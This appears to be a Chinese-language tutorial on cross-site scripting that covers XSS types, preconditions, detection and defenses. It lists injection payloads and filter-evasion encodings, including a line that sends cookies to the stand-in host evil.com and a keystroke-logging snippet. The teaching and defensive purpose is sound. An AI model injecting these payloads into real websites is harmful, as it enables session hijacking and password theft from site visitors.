什么是 XSS

XSS(Cross-Site Scripting)就是黑客将恶意脚本注入到网页中,当其他用户访问该页面时,恶意脚本在用户的浏览器中执行,从而窃取数据或操控页面行为。

为了避免与 CSS(层叠样式表)重名,所以叫 XSS


一、XSS 三大类型

类型 特点 是否存储 触发条件 危害等级
反射型 恶意脚本在 URL 中,服务端直接返回 不存储,一次性 用户必须点击恶意链接 ⭐⭐
存储型 恶意脚本存储在服务器(数据库等) 持久存储 任何用户访问被感染页面即触发 ⭐⭐⭐
DOM 型 纯前端漏洞,不经过服务端 不存储 用户访问恶意链接,前端 JS 解析时触发 ⭐⭐

二、XSS 三要素

XSS 能执行需要满足三个条件:

  1. 输入可控:攻击者能控制输入内容(URL 参数、表单、评论区等)
  2. 输出未过滤:服务端或前端未对特殊字符做转义/过滤
  3. 浏览器执行:恶意代码被当作 HTML/JS 解析执行

三、常见 Payload

1. 基础弹窗(证明存在 XSS)

1
2
<script>alert('XSS')</script>
<script>alert(1)</script>

2. 标签属性注入

1
2
3
4
5
<img src=x onerror=alert(1)>
<img src=1 onerror=alert(1)>
<input onfocus=alert(1) autofocus>
<body onload=alert(1)>
<svg onload=alert(1)>

3. 伪协议

1
2
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">

4. 事件处理器

1
2
<div onmouseover="alert(1)">hover me</div>
<button onclick="alert(1)">click</button>

5. 编码绕过

1
2
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>   <!-- HTML实体编码 -->
<img src=x onerror=eval(atob('YWxlcnQoMSk='))> <!-- Base64编码 -->

四、XSS 能做什么

攻击类型 说明 Payload 示例
Cookie 窃取 获取用户 Cookie,会话劫持 <script>fetch('http://evil.com/?c='+document.cookie)</script>
页面劫持 篡改页面内容,插入钓鱼表单 <script>document.body.innerHTML='<h1>请重新登录</h1>'</script>
键盘记录 记录键盘输入,窃取密码 <script>document.onkeydown=e=>fetch('/log?k='+e.key)</script>
内网扫描 探测内网资源 <script>fetch('http://192.168.1.1:8080')</script>

五、判断 XSS 类型的方法

现象 可能类型
修改 URL 参数后页面内容变化 反射型 或 DOM 型
关闭页面再打开,恶意代码仍在 存储型
查看页面源码,恶意代码在 HTML 中 反射型 / 存储型
查看页面源码,恶意代码不在 HTML 中,但在 DOM 中可见 DOM 型

区分反射型与 DOM 型

  • 反射型:服务端拼接了恶意代码到返回的 HTML 中
  • DOM 型:服务端返回正常 HTML,但前端 JS 把恶意代码写入了 DOM

六、XSS 与 CSRF 的区别

对比项 XSS CSRF
本质 恶意代码注入到页面执行 伪造请求,冒充用户发请求
利用方式 执行 JS 窃取数据 利用用户身份发送请求
防护重点 输入过滤 + 输出转义 Token + Referer 校验 + SameSite

七、防护核心

  1. 输出转义htmlspecialchars()textContent 替代 innerHTML
  2. CSPContent-Security-Policy 限制资源加载
  3. HttpOnly Cookie:阻止 JS 读取 Cookie

一句话总结

XSS 的本质:攻击者在别人访问的页面里,插入了自己的 JavaScript,让浏览器当成了正常的代码来执行。